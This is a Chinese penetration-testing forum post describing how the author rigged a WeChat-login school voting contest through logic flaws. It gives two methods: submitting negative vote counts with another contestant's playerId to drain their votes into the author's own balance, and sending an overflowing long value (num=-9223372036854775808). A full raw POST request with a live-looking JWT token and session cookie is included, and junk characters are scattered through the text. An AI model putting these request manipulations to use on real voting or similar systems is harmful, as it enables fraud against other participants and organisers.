中国网络渗透测试联盟

标题: 原创逻辑漏洞测试之用两种方法在微信登陆openid验证情况下下成功刷票 [打印本页]

作者: admin    时间: 2021-12-30 13:52
标题: 原创逻辑漏洞测试之用两种方法在微信登陆openid验证情况下下成功刷票
[md]**最近一直在学习逻辑漏洞,偶然看到我家小孩学校组织的投票活动,得知老师组织这次投票活动,我专门向老师申请做一次逻辑漏洞测试,老师说非常欢迎,老师说对我这个玩电脑的家长早有耳闻,于是便有了以下的过程。此测试过程必须1、微信登陆下投票 2、token验证jwt加密,解密发现openid等参数**
8 F6 M2 v# M4 u  p) Y- q& [# U& {) ?3 l4 V. i
( F- S5 \& f$ {; F. L8 @2 L" C
**1** **、第一种方法突破微信登陆投票**
# T% E1 Y+ X! g- t" u/ i
, c+ j* E* n! @一个微信账号一天投3票之扣别人的票增加自己的余票实现刷票
1 g/ M4 E) Z1 z$ }& Y/ n% l' z9 m+ q  k: l
首先用微信识别老师发来的投票二维码如图:3 z9 @6 ]9 K7 V8 `5 F5 `

2 b. M9 C: K" M% s![image.png](data/attachment/forum/202112/30/134534pzg7kjhhvmcuhpim.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")! n2 H) ]: W1 F. u/ s
9 f9 y  C6 z" Y% Q
使用微信号登陆,不停的放包,直到这里
; }- K/ d" R1 }: x- v( `, ]
, a0 }8 X& w7 c, t8 e! c![image.png](data/attachment/forum/202112/30/134608bhq1ihzxuigv2g1g.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")
% ~7 l; n! r6 {6 y. G( L0 ?
% d/ w" F0 g( b5 w0 b8 Z  L. O修改playerIdwei为别人的,因为用自己的playerid,自己的票数为变为-负数,修改num数为负数,如-9999,因为num参数可控,这时候你的票数会多出9999票,别人会少9999票,打个比方如图:
7 G; L  F& T$ l
1 _3 d! d: `7 l9 U8 M3 X![image.png](data/attachment/forum/202112/30/134642y5r9rz0q00rob5yb.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")2 x2 T! G. k+ M, u
/ T0 s4 E- m; g
9 A1 b# T+ N* Z" H1 b: K

5 Z7 I1 a3 `$ @, x% ~- G这时候你就在你的账号不停歇的点投票就行,直到超过第一名,如图:
' f! _- T, j6 F$ E9 V
8 e) ]5 f6 |' U: d5 k![image.png](data/attachment/forum/202112/30/134740v0yd8lly3ndlojf8.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")
8 P: P! r# a' L8 k
* H. h8 s& K4 v- c4 }) ^& H8 ]" b0 P, k, }. H- A, u7 k% F! Z

+ P$ g0 \$ X# _5 m0 ]票数瞬间变为1002票,本来一个微信号一天只能投一个选手3票,这时候已经成功突破,秒变1002票。。。
9 t1 D3 a6 C: t+ o  Z
- _4 {/ i3 I1 I' O以上是第一种方法刷票,扣别人的票,加自己的余票,然后再刷给自己。。。**) e6 s5 I+ t% ]
9 S  d( m$ x" p8 q" P3 x% z
**2** **、**** ** **第二种方法利用** **long** **长整型溢出刷票**
9 ?" m2 u1 {# G9 j. ]3 }0 m
+ r# }' E. S& d5 P) G; @同样到这个包,如下:( n9 G4 ]+ a$ C" r

. y$ o( i8 x5 Q( [* F6 g/ Q8 z0 x```
( q1 W$ o/ m" [POST /vote/api/wx/voteFree/add HTTP/1.1
8 T, W/ K4 [  k" E* {, K8 x/ U9 CHost: 111.cn
) k1 E. U! c4 {1 zContent-Length: 738 S* m* M3 u* p4 u/ m
Accept: application/json, text/javascript, */*; q=0.01
  G6 \: ]8 ?5 v* z6 ~5 eX-Requested-With: XMLHttpRequest
* t  L3 |2 v: t/ hUser-Agent: Mozilla/5.0 (Linux; Android 10; TEL-AN00a Build/HONORTEL-AN00a; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/89.0.4389.72 MQQBrowser/6.2 TBS/045811 Mobile Safari/537.36 MMWEBID/3773 MicroMessenger/8.0.15.2020(0x28000F3D) Process/tools WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm645 S! m3 x$ \$ [- w: a1 M6 j
token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJqd3QtaWQiOiJvWmZMLXZuandCeWY1MU01Zm1CRlpZV0Z0ZFI4Iiwid3hPcGVuSWQiOiJvWmZMLXZuandCeWY1MU01Zm1CRlpZV0Z0ZFI4Iiwibmlja25hbWUiOiJkaWdleHBsb2l0IiwiZXhwIjoxNjM1MzAwNTY2fQ.0VBEVOvfDLfduF9MPto2D8Ok1Y9C90roMBMQzTn9oL0
+ j0 u, F1 B, x7 M: Q' j1 z  _7 XContent-Type: application/x-www-form-urlencoded; charset=UTF-8
0 e2 x7 y* F3 ?$ d2 p( q/ pOrigin: http://111.cn
5 A/ M/ k5 |6 P- L! j! UReferer: http://111.cn/welcome/detail.html?activityId=37bd3ad6-38c0-437c-870a-801dc6fed2a7&playerId=139969&skin=default3 V) @- J% T% Q: }' @( a' }
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7: r1 Y: J( F/ G
Cookie: SESSION=MWE3NDU3NWItM2MzMS00YWJmLTkxZTItNmU2MWQ0NzNhZDk5; token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJqd3QtaWQiOiJvWmZMLXZuandCeWY1MU01Zm1CRlpZV0Z0ZFI4Iiwid3hPcGVuSWQiOiJvWmZMLXZuandCeWY1MU01Zm1CRlpZV0Z0ZFI4Iiwibmlja25hbWUiOiJkaWdleHBsb2l0IiwiZXhwIjoxNjM1MzAwNTY2fQ.0VBEVOvfDLfduF9MPto2D8Ok1Y9C90roMBMQzTn9oL0; appid=wx6656xxoocd3e6xxoo. T+ u! b3 S5 A; {0 I' j; J1 _
Connection: close
7 X6 N% o' x1 fvoteActivityId=37bd3ad6-38c0-437c-870a-801dc6fed2a7&playerId=139969&num=3- V( z* S* g+ Z

* X6 b/ A) R7 z6 G' m+ o  b```
- I* C5 Q- J8 ]# ^- p
  e6 a( Z; [" g. j' B修改num=3333333{},如图:
3 ~( _8 n& }) g/ ~7 m
2 z! Z9 }  Y5 f7 v7 r- M![image.png](data/attachment/forum/202112/30/134946uqvclqqb4vdy8oqt.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")3 G0 y1 j& A& X5 Q2 M
! W6 s' n1 M0 |' q
% d$ q2 [! x" c1 U0 \

; \# W3 ~1 y) a0 F判断为long长整型,既然num=-333333可控,那我们就把num=-333333改为2的63次方,也就是num=-9223372036854775808,执行完以后,提示500错误,提示超出范围。。。然后微信打开投票二维码就卡半天了,恢复之前如图:! Q' x5 l; L8 j: w+ M

& Q+ K2 O% w5 @7 d/ K![image.png](data/attachment/forum/202112/30/135025yj3ozszo4ggaojgj.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")
$ k+ |$ U% Q8 `) D- K# o; F9 l* q6 `5 t9 _

, d9 H* N8 l1 C; F) n
. a! x5 M! ]$ W这是之前测试的时候不小心搞成,所以才有了第二种方法。。。。。
! g0 [3 Y* x6 e$ R  N! r1 I! n" w- v7 r: [  e7 e
也就是刷票数为负 -270多万,如上图。。。
0 t% Q' @4 M; e% e6 }$ B; p5 S5 d$ L& }0 x4 \+ X0 [  w
等溢出恢复以后票数变成15W多,排名第一,如图:
! k+ i. q) N- d4 g2 I8 l) k  Z8 c& H9 |) \  q. d7 p) J
% f8 y1 i& J9 C* i3 P
![image.png](data/attachment/forum/202112/30/135104bemec992s9udxfzd.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png"), W+ u, Q9 z6 z& q; {" y$ V( }

$ X6 j8 _8 P) a# t% j# F**注:由于测试过程没有保存录像或图片,导致溢出以后的返回包没能贴图,不过没关系,正负数都试一遍,一般参数可负数的话,直接负的最大溢出量就够了。。。**
( s8 i6 J! @0 L2 U8 Q- o6 A1 W[/md]




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2